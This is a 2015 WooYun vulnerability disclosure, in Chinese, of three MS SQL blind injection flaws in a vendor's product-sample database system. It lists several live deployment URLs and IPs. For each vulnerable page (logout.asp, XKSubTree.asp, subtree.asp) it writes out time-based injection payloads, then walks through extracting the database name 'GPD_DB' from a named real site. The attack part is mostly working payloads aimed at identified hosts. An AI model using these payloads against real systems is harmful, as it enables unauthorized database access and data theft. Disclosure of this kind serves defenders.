当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090367

漏洞标题:某产品数据库系统三处SQL注射漏洞

相关厂商:重庆尚唯信息技术有限公司

漏洞作者: 路人甲

提交时间:2015-01-09 16:00

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某产品数据库系统三处SQL注射漏洞

详细说明:

存在漏洞的是科技部西南信息中心.重庆尚唯信息技术有限公司的全球产品样本数据库系统
官方网站:http://www.sunwayinfo.com.cn/
案例

http://gpd.scstl.org/
http://sso2.dglib.cn/
http://202.120.96.47/
http://gpd.nbsti.net/
http://202.38.93.37/
http://220.178.98.37:8084/
http://gpd.ustb.gov.cn/(有WAF)


漏洞详情:

1.由于页面:/logout.asp 参数:CSID未安全过滤导致的MS SQL盲注漏洞
判断当前数据库名长度:
/logout.asp?CSID=1' if(len(db_name()))>=6 waitfor delay '0:0:10' --%20
/logout.asp?CSID=1' if(len(db_name()))>=7 waitfor delay '0:0:10' --%20
判断当前数据库名第一个字符的ASCII码值:
/logout.asp?CSID=1' if(ascii(substring(db_name(),1,1)))>=71 waitfor delay '0:0:10' --%20
/logout.asp?CSID=1' if(ascii(substring(db_name(),1,1)))>=72 waitfor delay '0:0:10' --%20
2.由于页面:/XKSubTree.asp 参数:PID未安全过滤导致的MS SQL盲注漏洞
判断当前数据库名长度:
/XKSubTree.asp?PID=1' if(len(db_name()))>=6 waitfor delay '0:0:10' --%20
/XKSubTree.asp?PID=1' if(len(db_name()))>=7 waitfor delay '0:0:10' --%20
判断当前数据库名第一个字符的ASCII码值:
/XKSubTree.asp?PID=1' if(ascii(substring(db_name(),1,1)))>=71 waitfor delay '0:0:10' --%20
/XKSubTree.asp?PID=1' if(ascii(substring(db_name(),1,1)))>=72 waitfor delay '0:0:10' --%20
3.由于页面:/subtree.asp 参数:PID未安全过滤导致的MS SQL盲注漏洞
判断当前数据库名长度:
/subtree.asp?PID=1 if(len(db_name()))>=6 waitfor delay '0:0:10' --%20
/subtree.asp?PID=1 if(len(db_name()))>=7 waitfor delay '0:0:10' --%20
判断当前数据库名第一个字符的ASCII码值:
/subtree.asp?PID=1 if(ascii(substring(db_name(),1,1)))>=71 waitfor delay '0:0:10' --%20
/subtree.asp?PID=1 if(ascii(substring(db_name(),1,1)))>=72 waitfor delay '0:0:10' --%20

漏洞证明:

漏洞复现 以四川省科技文献信息资源共享平台(http://gpd.scstl.org/)第一个盲注漏洞为例(二三利用方法相同)
1.判断当前数据库名长度:
a.当设置数据库名长度>=6时,页面存在延时,即判断条件成立

1.png


b.当设置数据库名长度>=7时,页面不存在延时,即判断条件不成立,即数据库名长度为6

2.png


2.判断当前数据库名第一个字符的ASCII码值:
a.设置数据库名第一个字符的ASCII码值>=71时,页面存在延时,即判断成立

3.png


b.设置数据库名第一个字符的ASCII码值>=72时,页面不存在延时,即判断不成立,即当前数据库名第一个字符的ASCII码值为71,即字符G

4.png


根据此方法依次可得出数据库名各个位对应的ASCII码值71 80 68 95 68 66,即数据库名为GPD_DB

修复方案:

对参数进行判断类型

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝